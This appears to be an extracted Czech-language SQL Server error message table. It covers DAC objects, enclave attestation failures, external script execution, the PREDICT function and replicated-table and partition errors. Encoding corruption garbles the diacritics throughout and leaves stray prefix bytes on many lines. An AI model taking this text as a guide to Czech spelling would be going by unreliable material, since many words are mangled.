lObjekt instance_id v t�to datab�zi ji~ existuje.

�Objekt %1!s! %2!s! ji~ pro danou instanci aplikace DAC existuje.

�Objekt DacInstance se zadan�m parametrem instance_id neexistuje.

TDac root   datab�ze %1!s! neexistuje.

�Dac Policy se zadan�m identifik�torem z�sady ji~ v tabulce sou
�st� existuje.

XDac Part odkazovan� z�sadou neexistuje.

`Dac Policy odkazuje na neexistuj�c� z�sadu.

lObjekt %1!s! %2!s! ji~ existuje v sou
�stech DAC.

�Chcete-li prov�st tuto akci, volaj�c� objekt mus� b�t 
lenem pevn� role serveru dbcreator.

�Volaj�c� objekt mus� m�t roli sysadmin nebo mus� b�t autorem aktualizovan� polo~ky historie.

`ID procesu %1!s! nen� ID aktivn�ho procesu.

�Tato operace nen� povolena, proto~e z�visl� objekty 
ekaj� na instalaci.

�Nelze naj�t datab�zi %1!s!. Datab�ze bu neexistuje, nebo nem�te pY�sluan� opr�vnn� k pY�stupu.

�Tato operace nen� povolena, proto~e Y�dic� bod stavov�ho n�stroje ji~ v t�to instanci syst�mu SQL Server existuje.

$Zadanou instanci syst�mu SQL Server nelze pou~�t jako Y�dic� bod stavov�ho n�stroje, proto~e funkce nen� v syst�mu SQL Server %1!s! povolena.

4Zadanou instanci syst�mu SQL Server nelze spravovat pomoc� Y�dic�ho bodu stavov�ho n�stroje, proto~e funkce nen� v syst�mu SQL Server %1!s! povolena.

�Operaci nelze prov�st, proto~e zadan� instance syst�mu SQL Server nen� zapsan� ve Stavov�m n�stroji syst�mu SQL Server.

�Bhem odes�l�n� do Y�dic�ho bodu Stavov�ho n�stroje syst�mu SQL Server doalo k chyb.

V operaci nelze pokra
ovat. Chcete-li odebrat Y�dic� bod Stavov�ho n�stroje syst�mu SQL Server, je tYeba b�t 
lenem role sysadmin.

�V operaci nelze pokra
ovat. Zadan� instance syst�mu SQL Server nen� Y�dic� bod Stavov�ho n�stroje syst�mu SQL Server.

V operaci nelze pokra
ovat. X�dic� bod stavov�ho n�stroje syst�mu SQL Server obsahuje zapsan� spravovan� instance syst�mu SQL Server.

pServer %1!s! neobsahuje �
et elastick� �lohy %2!s!.

��
et elastick� �lohy %1!s! neobsahuje prostYedek typu %2!s! s n�zvem %3!s!.

\Doalo k chyb �
tu vnitYn� �lohy: %1!s!.

��
et �lohy pro pYedplatn� %1!s! pro vybranou oblast u~ existuje.

h�
et �lohy %1!s! na serveru %2!s! u~ existuje.

 Datab�zi %1!s! na serveru %2!s! pou~�v� �
et �lohy %3!s!. Dokud je datab�ze pYidru~en� �
tu �lohy, nejde ji ani odstranit, ani pYejmenovat.

�Datab�ze %1!s! na serveru %2!s! m� c�l �rovn slu~eb %3!s!, kter� se nepodporuje pYi pou~it� jako datab�ze �
to �loh.

�Nejde propojit �
et �lohy s datab�z� %1!s! na serveru %2!s!, proto~e je to geograficky sekund�rn� datab�ze.

�Datab�ze %1!s! na serveru %2!s! je ji~ propojen� s jin�m �
tem �loh.

\Nejde naj�t fond instance s n�zvem %1!s!.

�Fond instance s n�zvem %1!s! je zanepr�zdnn prov�dn�m jin� prob�haj�c� operace.

`Fond instance s n�zvem %1!s! nen� pr�zdn�.

�Fond instance s n�zvem %1!s! nem� dostate
nou kapacitu virtu�ln�ch jader pro dan� po~adavek.

VnitYn� chyba enkl�vy: Metoda symcrypt enkl�vy %1!s! selhala (stav: 0x%2!s!). Dala� informace z�sk�te od slu~by z�kaznick� podpory.

�SGX error encountered during enclave attestation. The SGX enclave attestation method %1!s! failed with status 0x%2!s!.

�PYi z�sk�v�n� ovYovac�ho tokenu pro slu~bu ovYen� doalo k vnitYn� chyb. Metoda ovYov�n�: %1!s!, stav: 0x%2!s!.

�Enkl�vu %1!s! nejde pro aifrov�n� sloupce inicializovat. Opera
n� syst�m tento typ enkl�vy nepodporuje.

TNeplatn� konfigurace enkl�vy: %1!s!.

VnitYn� chyba enkl�vy: Enkl�vu %1!s! nejde inicializovat. Chyba: 0x%2!s!. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

VnitYn� chyba enkl�vy: Enkl�vu %1!s! nejde inicializovat. Metoda na
ten�: %2!s!. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

`Loaded %1!s! enclave for always encrypted.

�OvYen� identity enkl�vy selhalo z dovodu chyby v rozhran� Intel data Center Attestation (DCAP) SGX API: %1!s!. N�vratov� k�d: 0x%2!s!. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

(OvYen� identity enkl�vy selhalo z dovodu chyby pYi parsov�n� URL pro ovYen� identity poskytnut� klientem. URL: %1!s!. N�vratov� k�d: 0x%2!s!.

<OvYen� identity enkl�vy selhalo. URL pro ovYen� identity poskytnut� klientem m� neplatn� n�zev sch�matu. URL: %1!s!. Podporovan� sch�mata jsou: %2!s!.

DOvYen� identity enkl�vy selhalo. URL pro ovYen� identity zadan� klientem nen� dostupn�. URL: %1!s!. N�vratov� k�d: 0x%2!s!. Zkontrolujte konfiguraci s�t.

�OvYen� identity enkl�vy selhalo. Slu~ba ovYen� identity vr�tila pr�zdnou odpov. URL pro ovYen� identity: %1!s!. Zkontrolujte z�sady ovYov�n� identity. Pokud jsou tyto z�sady spr�vn�, obraete se na slu~bu z�kaznick� podpory.

�OvYen� identity enkl�vy VBS selhalo z dovodu chyby v rozhran� WMI (Windows Management Instrumentation). API: %1!s!. N�vratov� k�d: 0x%2!s!. Zkontrolujte, jestli b~� slu~ba Str�~ce hostitele. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

�Objekt pYihlaaovac�ch �dajo s n�zvem 0x%1!s!, kter� je nakonfigurov�n pro extern� ovYov�n�, neexistuje.

�Slu~b ovYovac�ho nosi
e se nepovedlo vr�tit platnou v�zvu. OvYte, jestli je URL %1!s! spr�vn�. N�vratov� k�d: 0x%2!s!.

PNepovedlo se naj�t %1!s! pro %2!s!.

4Nepovedlo se z�skat ovYovac� token pro resource_id %1!s! s URL %2!s!. N�vratov� k�d: 0x%3!s!. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

�Nepovedlo se z�skat ovYovac� token pro URL %1!s!. N�vratov� k�d: 0x%2!s!.

�OvYen� pro URL %1!s! selhalo kvoli neplatn�mu ID klienta nebo neplatn�mu tajn�mu k�du. N�vratov� k�d: 0x%2!s!.

\Nepovedlo se z�skat token pomoc� identity spravovan� slu~by. Zajistte, aby na po
�ta
i hostuj�c�m SQL Server byly spravovan� identity povolen�. N�vratov� k�d: 0x%1!s!.

�Nepovedlo se z�skat token pomoc� identity spravovan� slu~by. Zkontrolujte, jestli jsou na po
�ta
i hostuj�c�m SQL Server povolen� spravovan� identity. K�d chyby: %1!s!. Chybov� zpr�va: %2!s!. N�vratov� k�d: 0x%3!s!.

\Slu~b ovYovac�ho nosi
e se nepovedlo vr�tit platnou v�zvu. Zkontrolujte, jestli je URL %1!s! spr�vn�. K�d chyby: %2!s!. Chybov� zpr�va: %3!s!. N�vratov� k�d: 0x%4!s!.

0OvYen� identity enkl�vy selhalo. Slu~ba ovYen� identity vr�tila k�d chyby: %1!s!. Chybov� zpr�va: %2!s!. URL ovYen� identity: %3!s!. N�vratov� k�d: 0x%4!s!. Zkontrolujte z�sady ovYov�n� identity. Pokud jsou z�sady spr�vn nastaven�, kontaktujte slu~by z�kaznick� podpory.

 OvYen� identity enkl�vy selhalo kvoli chyb v klientovi Azure Data Center Attestation Primitives (DCAP). Zkontrolujte, jestli je klient Azure DCAP nainstalovan� a spr�vn nakonfigurovan�. N�vratov� k�d: 0x%1!s!. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

�OvYen� identity enkl�vy selhalo, proto~e doalo k chyb autorizace. Zkontrolujte, jestli m� identita instance SQL Serveru potYebn� opr�vnn� pro pY�stup ke slu~b ovYen� identity na adrese URL %1!s!.

�Nebyl nalezen soubor s identifik�torem %1!s! v datab�zi %2!s!.

�Tuto ulo~enou proceduru mohou spustit pouze u~ivatel� s opr�vnn�m %1!s!.

�Pro dotaz na vstupn� data pro ulo~enou proceduru sp_execute_external_script je podporovan� jenom dotaz SELECT.

�SQL se nepovedlo spustit rozaiYitelnost, k�d chyby je 0x%1!s!.

�PYi spouatn� procedury sp_execute_external_script doalo k chyb skriptu %1!s!. HRESULT = 0x%2!s!.

�Zadan� jazyk %1!s! neexistuje nebo nem�te pY�sluan� opr�vnn�.

�Parametr s n�zvem %1!s! zadan� u procedury je neplatn�. Je v konfliktu s intern�mi parametry.

�V�stupn� parametr pYi spuatn� extern�ho skriptu se jeat nepodporuje.

�Extern� prov�dn� skriptu pro skript %1!s! narazilo na neo
ek�vanou chybu (HRESULT = 0x%2!s!) pro ID ~�dosti: %3!s!.

�SQL Server nemohl pro ID ~�dosti %1!s! komunikovat se slu~bou LaunchPad. OvYte pros�m konfiguraci t�to slu~by.

S modulem runtime pro skript %1!s! a ID ~�dosti %2!s! nejde komunikovat. Zkontrolujte pros�m po~adavky modulu runtime %3!s!.

8SQL Server narazil pYi komunikaci s modulem runtime %2!s! pro ID ~�dosti %3!s! na chybu 0x%1!s!. Zkontrolujte pros�m konfiguraci modulu runtime %4!s!.

�Paralelismus se pYi prov�dn� extern�ch skripto zat�m nepodporuje.

�V dotazu na vstupn� data pro ulo~enou proceduru sp_execute_external_script se pY�kaz SELECT INTO nepodporuje.

�Parametrizovan� extern� skript o
ek�v� parametr %1!s!, kter� ale nen� zadan�.

�Dotaz na vstupn� data vrac� sloupec 
. %1!s! typu %2!s!, kter� nen� podporovan� modulem runtime pro skript %3!s!. Nepodporovan� typy jsou: binary, varbinary, timestamp, datetime2, datetimeoffset, time, text, ntext, image, hierarchyid, xml, sql_variant a u~ivatelsky definovan� typ. ID po~adavku extern�ho skriptu je %4!s!.

<Parametr %1!s! pou~�v� datov� typ, kter� nen� podporovan� modulem runtime pro skript %2!s!. Nepodporovan� typy jsou: timestamp, datetime2, datetimeoffset, time, text, ntext, image, hierarchyid, xml, sql_variant a u~ivatelsky definovan� typ. ID po~adavku extern�ho skriptu je %3!s!.

Nen� nainstalovan� funkce Pokro
il� analytick� roza�Yen�. Dala� informace o t�to funkci najdete v dokumentaci Knihy online.

�Modul runtime pro skript %1!s! a ID ~�dosti %2!s! nejde spustit. Zkontrolujte pros�m konfiguraci modulu runtime %3!s!.

,Procedura sp_execute_external_script je na t�to instanci SQL Serveru zak�zan�. Povolit ji mo~ete zad�n�m sp_configure 'external scripts enabled'.

�Paraleln� spuatn� funkce sp_execute_external_script selhalo. PYidejte do v�stupn�ho sch�matu klauzuli WITH RESULT SETS.

Spuatn� extern�ho skriptu selhalo, proto~e prostYed� rozaiYitelnosti jeat nen� pYipraven�. Opakujte operaci po �pln�m spuatn� serveru.

�N�zev parametru r_rowsPerRead je ve vol�n� ulo~en� procedury sp_execute_external_script zadan� v�ckr�t. N�zev r_rowsPerRead je rezervovan� pro ur
en� chov�n� streamov�n�. ID po~adavku extern�ho skriptu je %1!s!.

�Parametr %1!s! je pro ulo~enou proceduru sp_execute_external_script zadan� v�ckr�t.

|Nejde parsovat v�stupn� sch�ma vestavn� funkce PREDICT.

�Funkce PREDICT o
ek�v� parametry ve form�tu  n�zev = hodnota .

�N�zev parametru %1!s! byl u~ deklarov�n. N�zvy parametro ve vol�n� funkce PREDICT mus� b�t jedine
n�.

�Parametr PARAMETERS ve funkci PREDICT obsahuje definici, kter� neodpov�d� dodan�m argumentom.

lFunkce PREDICT m� dod�no pY�lia mnoho argumento.

|Funkce PREDICT o
ek�v� parametr %1!s!, kter� nebyl dod�n.

�Funkce PREDICT obsahuje parametr %1!s!, kter� m� neplatn� typ.

�Funkce PREDICT o
ek�v� parametr PARAMETERS typu ntext/nchar/nvarchar.

�Doalo k chyb pYi pYev�dn� hodnoty parametru pro %1!s! na %2!s!.

�Funkce PREDICT nepodporuje identifik�tor SQL nebo promnnou pro parametr PARAMETERS.

`Parametr PARAMETERS m� neplatnou definici.

�PY�kaz %1!s! EXTERNAL LIBRARY selhal, proto~e parametr zdroje knihovny %2!s! nen� platn� v�raz.

�PY�kaz %1!s! EXTERNAL LIBRARY selhal, proto~e n�zev souboru %2!s! je pY�lia dlouh�.

�PY�kaz %1!s! EXTERNAL LIBRARY selhal, proto~e nemohl otevY�t fyzick� soubor %2!s!: %3!s!.

�PY�kaz %1!s! EXTERNAL LIBRARY selhal, proto~e nemohl 
�st z fyzick�ho souboru %2!s!: %3!s!.

�PY�kaz CREATE EXTERNAL LIBRARY selhal, proto~e u~ivatel %1!s! zadan� v klauzuli autorizace neexistuje.

�Extern� knihovna %1!s! u~ existuje pro vlastn�ka %2!s! v datab�zi %3!s!.

lNepovedlo se %1!s! extern� knihovnu %2!s!: %3!s!.

�Doalo k chyb pYi prov�dn� pYeddefinovan� funkce PREDICT s v�stupem HRESULT 0x%1!s!. Doala pame.

�Doalo k chyb pYi prov�dn� pYeddefinovan� funkce PREDICT s v�stupem HRESULT 0x%1!s!. Model je poakozen� nebo neplatn�.

�Doalo k chyb pYi prov�dn� pYeddefinovan� funkce PREDICT s v�stupem HRESULT 0x%1!s!. Typ modelu nen� podporov�n.

�Inicializace nativn�ch knihoven bodov�n� selhala s v�stupem HRESULT 0x%1!s!.

Funkce PREDICT nepYij�m� parametry typo varchar(max), nvarchar(max) ani varbinary(max), jedinou v�jimkou je parametr MODEL.

xFunkce PREDICT podporuje jenom modely mena� ne~ 100 MB.

LProveden� selhalo, proto~e klauzule WITH specifikovala jin� v�stupn� sloupce, ne~ jak� se funkce PREDICT pokoua� vr�tit. Sch�ma vr�cen� funkc� PREDICT je %1!s!.

Sloupec vstupn�ch dat #%1!s! je typu %2!s!. Tento typ nen� funkc� PREDICT podporov�n. Mezi nepodporovan� typy patY� binary, varbinary, timestamp, datetime2, datetimeoffset, time, text, ntext, image, hierarchyid, xml, sql_variant a u~ivatelsky definovan� typy.

�PYi prov�dn� pYeddefinovan� funkce PREDICT doalo k chyb s v�stupem HRESULT 0x%1!s!.

Funkce nebo mo~nost PREDICT jeat nen� implementovan�. Dala� informace o t�to funkci nebo mo~nosti najdete na webu Books Online.

�Funkce %1!s! selhala, proto~e v edici t�to instance SQL Serveru nen� podporov�na.

�Duplicitn� n�zvy sloupco nejsou v %1!s! povoleny. N�zev sloupce %2!s! je duplicitn�.

�Parametr @input_data_1_order_by_columns nen� povolen bez parametru @input_data_1_partition_by_columns.

�Sloupec %1!s! v %2!s! nen� definov�n v klauzuli SELECT parametru @input_data_1.

�Neplatn� syntaxe pro parametr @input_data_1_partition_by_columns. Zadejte seznam sloupco oddlen� 
�rkami.

<Neplatn� syntaxe pro parametr @input_data_1_order_by_columns. Zadejte seznam sloupco oddlen� 
�rkami a nepovinn� argument pro poYad� Yazen� <ASC|DESC>.

LSloupce v parametrech @input_data_1_partition_by_columns a @input_data_1_order_by_columns mus� b�t jedine
n�. N�zev sloupce %1!s! se objevuje v obou parametrech.

HBylo dosa~eno maxim�ln�ho po
tu soub~n�ch u~ivatelo extern�ch skripto. Limit je %1!s!. Zkuste operaci spustit znovu. ID po~adavku extern�ho skriptu je %2!s!.

LKombinovan� celkov� po
et sloupco, kter� jsou zad�ny v parametrech @input_data_1_partition_by_columns a @input_data_1_order_by_columns, pYekra
uje maximum %1!s!.

lBylo dosa~eno maxim�ln�ho po
tu soub~n�ch dotazo extern�ch skripto pro tohoto u~ivatele. Limit je %1!s!. Zkuste operaci spustit znovu. ID po~adavku extern�ho skriptu je %2!s!.

�Licen
n� smlouva s koncov�m u~ivatelem (EULA) pro SQL Server Machine Learning Services nebyla pYijata.

�U platformy %1!s! byla dod�na duplicitn� specifikace souboru.

�Po
et specifikac� souboru pYekra
uje maxim�ln� hodnotu (%1!s!).

`PY�kaz CREATE EXTERNAL LIBRARY selhal z dovodu duplicitn� specifikace souboru. V pY�kazu CREATE EXTERNAL LIBRARY je povolena jenom jedna specifikace souboru na platformu.

PY�kaz ALTER EXTERNAL LIBRARY selhal, proto~e obsah pro platformu %1!s! neexistuje nebo nen� v extern� knihovn spr�vn definov�n.

(PY�kaz ALTER EXTERNAL LIBRARY REMOVE PLATFORM selhal, proto~e extern� knihovna vy~aduje, aby byla definov�na alespoH jedna specifikace souboru.

�PY�kaz %1!s! EXTERNAL LANGUAGE selhal, proto~e parametr %2!s! nen� platn� v�raz.

$PY�kaz %1!s! EXTERNAL LANGUAGE selhal, proto~e zadan� cesta k souboru %2!s! je pY�lia dlouh�. Maxim�ln� d�lka cesty k souboru je %3!s! znako.

�PY�kaz %1!s! EXTERNAL LANGUAGE selhal, proto~e nemohl otevY�t fyzick� soubor %2!s!: %3!s!.

�PY�kaz %1!s! EXTERNAL LANGUAGE selhal, proto~e nemohl 
�st z fyzick�ho souboru %2!s!: %3!s!.

PY�kaz CREATE EXTERNAL LANGUAGE selhal, proto~e u~ivatel %1!s! zadan� v klauzuli autorizace neexistuje nebo nem� opr�vnn�.

xPY�kaz CREATE selhal. Extern� jazyk %1!s! u~ existuje.

�PY�kaz %1!s! EXTERNAL LANGUAGE selhal, proto~e nen� zadan� parametr %2!s!.

xInformace o platform %1!s! pro jazyk %2!s! neexistuj�.

PY�kaz ALTER EXTERNAL LANGUAGE selhal z dovodu duplicitn� specifikace souboru. Je povolena jenom jedna specifikace souboru na platformu.

$PY�kaz ALTER EXTERNAL LANGUAGE REMOVE PLATFORM selhal, proto~e extern� jazyk vy~aduje, aby byla definov�na alespoH jedna specifikace souboru.

�PYi prov�dn� extern�ho skriptu %1!s! doaly prostYedky. ID ~�dosti extern�ho skriptu je: %2!s!.

�Extern� modul runtime jazyka pro %1!s! nejde zY�dit. K�d chyby 0x%2!s!.

�Extern� jazyk %1!s! nejde zahodit, proto~e na nj odkazuje extern� knihovna %2!s!.

dV�raz %1!s! selhal. Jazyk %2!s! u~ existuje.

�V�raz %1!s! selhal. Syst�mov� jazyk %2!s! nen� mo~n� zmnit ani odebrat.

�Parametr @r_rowsPerRead je neplatn�. Parametr @r_rowsPerRead mus� b�t kladn� cel� 
�slo.

�PY�kaz CREATE/ALTER EXTERNAL LANGUAGE selhal. Xetzec promnn�ch prostYed� je neplatn�.

�Replikovan� tabulky podporuj� pouze m�stn� dvouf�zov� z�pis (bez DTC) zahrnuj�c� hlavn� datab�zi.

�Bhem z�pisu bylo iniciov�no ukon
en� sekund�rn�ho objektu.

LReplikovan� Y�dek nebyl nalezen.

|V replikovan� zpr�v byla provedena neo
ek�van� operace.

<Po
et sloupco neodpov�d�.

<Duplicitn� ID transakce.

4Nezn�m� ID transakce.

<Neplatn� �roveH vnoYen�.

`C�lov� replika
n� datab�ze nebyla nalezena.

pStav transakce m�stn neodpov�d� o
ek�van�mu stavu.

|Replikovan� transakce napY�
 datab�zemi nejsou povoleny.

lReplikovan� c�lov� tabulka %1!s! nebyla nalezena.

�Replikovan� c�lov� index %1!s! v tabulce %2!s! nebyl nalezen.

lReplikovan� c�lov� sch�ma %1!s! nebylo nalezeno.

hVe stejn� transakci nelze pou~�t v�ce datab�z�.

xTato funkce nen� v replikovan�ch tabulk�ch podporov�na.

�Sloupec kl�
e rozdlen� do odd�lo %1!s! mus� b�t jedn�m z kl�
o indexu %2!s!.%3!s!.%4!s!.

<Kl�
 odd�lu nelze zmnit.

�Hodnota kl�
e odd�lu je mimo rozsah platn�ch hodnot pro kl�
 odd�lu.

Sloupec kl�
e odd�lu %1!s! tabulky %2!s!.%3!s! je nulovateln� nebo neodpov�d� typu kl�
e odd�lu definovan�mu ve skupin tabulek.

�Datab�ze je v pYechodn�m stavu. Transakce jsou ukon
ov�ny.

�N�zk� kl�
 a vysok� kl�
 zadan� pro odd�l jsou neplatn�. N�zk� kl�
 mus� m�t ni~a� hodnotu ne~ vysok� kl�
.

tOdd�l s pYekr�vaj�c�mi se rozsahy kl�
o ji~ existuje.

DN�zev %1!s! je pY�lia dlouh�.

Naposledy zapsan� 
�slo CSN (%1!s!, %2!s!) nebylo v protokolu nalezeno. Naposledy zaznamenan� 
�slo CSN bylo (%3!s!, %4!s!).

�Transakce byla zruaena pYi zapisov�n� z dovodu pYevodu stavu datab�ze.

hN�zev skupiny tabulek %1!s!.%2!s! nen� platn�.

�Replikovan� tabulky mohou obsahovat maxim�ln %1!s! sloupco.

�Operaci repliky nelze prov�st, proto~e replika v map m�stn�ho odd�lu neexistuje.

�Sloupec kl�
e odd�lu pro tabulku %1!s!.%2!s! nen� definov�n.

�Nepodporovan� pou~it� objektu LOB v online sestaven� indexu.

PYepnut� epochy CSN, kter� jste se pokusili prov�st, nen� povoleno. Nov� 
�slo CSN je (%1!s!,%2!s!), aktu�ln� 
�slo CSN je (%3!s!,%4!s!).

PYid�van� 
�slo CSN se mus� rovnat posledn�mu 
�slu CSN+1. Nov� 
�slo CSN je (%1!s!,%2!s!), aktu�ln� 
�slo CSN je (%3!s!,%4!s!).

PYid�van� 
�slo CSN mus� b�t vta� nebo rovno posledn�mu 
�slo CSN. Nov� 
�slo CSN je (%1!s!,%2!s!), aktu�ln� 
�slo CSN je (%3!s!,%4!s!).

�Operaci repliky nelze prov�st, proto~e tento uzel nen� pro tento odd�l sekund�rn�.

Zahajovan� epocha nesm� b�t epocha ji~ pou~it� v minulosti. Nov� 
�slo CSN je (%1!s!,%2!s!), aktu�ln� 
�slo CSN je (%3!s!,%4!s!).

xNelze z�skat potvrzen� k vr�cen� zpr�vy replikace zpt.

lNelze z�skat potvrzen� k z�pisu zpr�vy replikace.

�Inicializace klienta VDI Client pro fyzick� osazen� se nezdaYila.

<Stav sloupce je poakozen.

@D�lka sloupce je poakozena.

�Data s promnlivou velikost� jsou poakozena. Skute
n� zb�vaj�c� bajty: %1!s!. O
ek�van� po
et bajto: %2!s!.

�Data s pevnou velikost� jsou poakozena. Skute
n� zb�vaj�c� bajty: %1!s!. O
ek�van� po
et bajto: %2!s!.

�Verze zpr�vy neodpov�d�. Skute
n� verze je %1!s! a o
ek�van� verze je %2!s!.

�Minim�ln� po~adovan� verze zpr�vy %1!s! pro typ zpr�vy %2!s! nen� podporov�na.

\Pou~it� nadYazen� transakce je neplatn�.

\Fragment sekvence toku Y�dko je poakozen.

LFragmentovan� Y�dek je poakozen.

8X�dek LOB je poakozen.

�Pou~it� pY�kazu UPDATETEXT v replikovan�ch tabulk�ch nen� podporov�no.

�Paraleln� dotazy nejsou v replikovan�ch tabulk�ch podporov�ny.

�Doalo k pokusu o replikaci nereplikovan� syst�mov� tabulky %1!s!.

Tabulky bez clusterovan�ho indexu nejsou v t�to verzi syst�mu SQL Server podporov�ny. VytvoYte clusterovan� index a zkuste to znovu.

�Datab�ze master, tempdb, model a mssqlsystemresource nelze replikovat.

TTabulka nen� povolena pro replikaci.

�Nepodporovan� mo~nost pou~it� replikovan� tabulky. Chcete-li zjistit pY�
inu, zkontrolujte stav.

�Pokus o replikaci vn odd�lu, kter� je ji~ uzam
en pro intern� pou~it�.

8Nezn�m� ID sady Y�dko.

HNespr�vn� pYenos role repliky.

<Replika nebyla nalezena.

�Pokus o pYid�n� 
�sla CSN k neplatn�mu vektoru CSN. Nov� 
�slo CSN je (%1!s!,%2!s!), aktu�ln� 
�slo CSN je (%3!s!,%4!s!).

8Vektor CSN lze znovu inicializovat pouze s po
�te
n�m nebo neplatn�m 
�slem CSN. Nov� 
�slo CSN je (%1!s!,%2!s!), aktu�ln� 
�slo CSN je (%3!s!,%4!s!).

@C�l pYenosu nebyl nalezen.

DSekvence Y�dko je poakozena.

lRe~im idempotent byl pou~it u nezn�m� transakce.

LNelze z�skat rozhran� sady Y�dko.

�Byla zjiatna neshoda 
�sel CSN. M�stn� 
�slo CSN je (%1!s!,%2!s!), vzd�len� 
�slo CSN je (%3!s!,%4!s!).

\Odd�l nem� dostatek platn�ch sekund�rn�ch polo~ek pro spuatn� transakce DML. Po~adovan� po
et: %1!s!. Aktu�ln� po
ty: %2!s! (hlavn� kvorum) a %3!s! (pYechodn� kvorum).

\Sekvence metadat sady Y�dko je poakozena.

hTabulky rozdlen� na odd�ly nejsou podporov�ny.

�Kl�
 odd�lu nebyl nalezen, pYedstavuje c�lovou sadu Y�dko, je nulovateln� nebo nen� sou
�st� kl�
o indexu.

�Neshoda sch�mat sloupco pro sadu Y�dko %1!s!.%2!s!.%3!s!, sloupec %4!s!.

�PY�lia m�lo sloupco ze vzd�len� sady Y�dko %1!s!.%2!s!.%3!s!.

�Sloupec %4!s! vzd�len� sady Y�dko %1!s!.%2!s!.%3!s! nebyl m�stn nalezen.

\Protokolov�n� trval� fronty se nezdaYilo.

�Je pYij�m�na hodnota d�lky nenulov� promnn� pro sloupec, kter� je m�stn krata�.

pKomprimovan� Y�dek je poakozen (je pY�lia dlouh�).

|Kardinalita indexu by nemla m�t hodnotu mena� ne~ nula.

TDoalo k v�jimce pro �
ely testov�n�.

8Vektor CSN je poakozen.

�Prov�dn� v�ce �prav vektoru CSN v r�mci stejn� transakci nen� podporov�no.

�Prim�rn� odd�l ztratil kvorum. Novou transakci nelze spustit.

�V prim�rn�m objektu doalo k chyb se sekund�rn�m objektem.

\Replika se zadanou verz� nebyla nalezena.

�Nastavovan� 
�slo CSN je mimo rozsah epoch CSN. Nov� 
�slo CSN je (%1!s!,%2!s!), aktu�ln� 
�slo CSN je (%3!s!,%4!s!).

�Konfigurace indexu pro tabulku %1!s!, index %2!s! neodpov�d� zdroji.

�Prim�rn� odd�l je v pYechodn�m stavu. Transakci nelze zapsat.

�Zkr�cen� 
�slo CSN neodpov�d�. Zkr�cen� 
�slo CSN je (%1!s!,%2!s!), aktu�ln� 
�slo CSN je (%3!s!,%4!s!).

xStav indexu %1!s! pro tabulku %2!s! neodpov�d� zdroji.

V �loze replikace na pozad� vyprael 
asov� limit z�mku. U~ivatelsk� transakce budou ukon
eny a operace bude provedena znovu.

�Doalo k nekompatibiln� zmn metadat kl�
e. Kontrolu nelze obnovit.

LTransakce replikace (ID procesu %1!s!) byla zablokov�na jin�m procesem na %2!s! prostYedc�ch a byla vybr�na jako obe zablokov�n�. Operace bude provedena znovu.

�Kritickou �lohu replikace se nepodaYilo spustit. Stav: %1!s!.

�Zpr�va o spuatn� transakce nebyla pYi kontrole trval� fronty replikac� nalezena.

�V protokolu transakc� bylo nalezeno neodpov�daj�c� ID odd�lu.

�V protokolu transakc� byl nalezen neplatn� po
et vnoYen�ch transakc�.

XV odd�lu nejsou povoleny trval� fronty.

xTrval� fronty nelze v odd�lu s t�mto stavem upravovat.

TOdd�l nelze zmnit v trval�m objektu.

�Pouze 
lenov� role sysadmin mohou spouatt tuto ulo~enou proceduru %1!s!.

|Mapa m�stn�ho odd�lu pro datab�zi %1!s! je spouatna v re~imu omezen� funk
nosti, proto~e je protokol pln�. ekaj�c� odstrann� odd�lo nebudou zpracov�na, dokud nebude protokol zkr�cen.

�Obor sch�matu nastaven� v relaci nen� aktu�ln� obor sch�matu pro aktu�ln� odd�l. Spusete dotaz znovu.

Filtrovan� replika nen� podmno~inou prim�rn� repliky. Tato mo~nost je k dispozici pouze pro skupiny tabulek bez kl�
e odd�lu.

�Po
et parametro zadan�ch pro proceduru nebo funkci %1!s! nen� spr�vn�.

Nelze stanovit rozsah datab�ze %1!s! pro proces spec sp_cloud_scope_database, proto~e je ji~ nastavena jako datab�ze odd�lo.

`Nelze odstranit datab�zi odd�lo s ID %1!s!.

$Datab�ze odd�lo nebyla nalezena bhem 
iatn� rozsahu sch�matu 
ekaj�c�ho na vyY�zen�. Odstranna budou pouze metadata odd�lu (%1!s!, %2!s!).

�V propojen� datab�ze %1!s! %2!s! s datab�z� %3!s! %4!s! doalo k chyb: %5!s!.

�Datab�zi %1!s! nelze sp�rovat s topologi� Fabric, proto~e nen� hostitelem odd�lu.

�V propojen� datab�ze %1!s! s datab�z� %2!s! %3!s! doalo k chyb: %4!s!.

�Parametr kvora replikace m� hodnotu %1!s!. Hodnota by mla b�t >= 1 a <= 32.

Typ kl�
e odd�lu %1!s! nen� podporov�n. Aktu�ln jsou podporov�ny pouze datov� typy BIGINT, UNIQUEIDENTIFIER a VARBINARY(n) (0<n<=512).

�PYed vyYazen�m skupiny tabulek je tYeba odstranit vaechny odd�ly.

�Tato operace nen� v t�to verzi syst�mu SQL Server podporov�na.

�PY�kaz get_new_rowversion() lze pou~�t pouze v aktivn� transakci.

lToto zobrazen� metadat syst�mu nen� podporov�no.

�Verze nelze zak�zat, proto~e datab�ze nen� v re~imu jednoho u~ivatele.

�NepodaYilo se aktualizovat mo~nosti pro vaechny datab�ze v oboru.

XDotaz odkazuje na entity z v�ce odd�lo.

pDatov� uzel nehostuje repliku po~adovan�ho odd�lu.

XNastaven� odd�lu se nezdaYilo, proto~e v aktu�ln� transakci ji~ byl nastaven jin� odd�l. Operace napY�
 odd�ly v r�mci uzlu nejsou spolehliv� nebo nejsou podporov�ny.

�PYed spuatn�m tohoto dotazu mus� b�t odd�l nastaven pomoc� pY�kazu sp_set_partition.

|PY�stup k jin�mu odd�lu ve stejn� transakci nen� povolen.

�Replika, kterou hostuje datov� uzel pro po~adovan� odd�l, nen� prim�rn�.

�Nelze naj�t objekt %1!s!. Objekt neexistuje nebo nem�te pY�sluan� opr�vnn�.

<Datab�ze nebyla nalezena.

TObjekt skupiny tabulek nebyl nalezen.

xUlo~en� procedura %1!s! je pouze pro datab�zi CloudDB.

H�slo CNS sn�mku existuj�c� trval� datab�ze (%1!s!, %2!s!) v um�stn� %3!s! m� vyaa� hodnotu ne~ 
�slo CNS po~adovan�ho sn�mku (%4!s!, %5!s!) v um�stn� %6!s!.

LDatab�ze nehostuje ~�dn� odd�ly.

Prob�h� sni~ov�n� z�va~nosti chyby %1!s!, z�va~nost %2!s!, stav %3!s!, proto~e by doalo k vypnut� serveru v dosledku nekritick� chyby.

`Odd�l je ve stavu transak
n� nekonzistence.

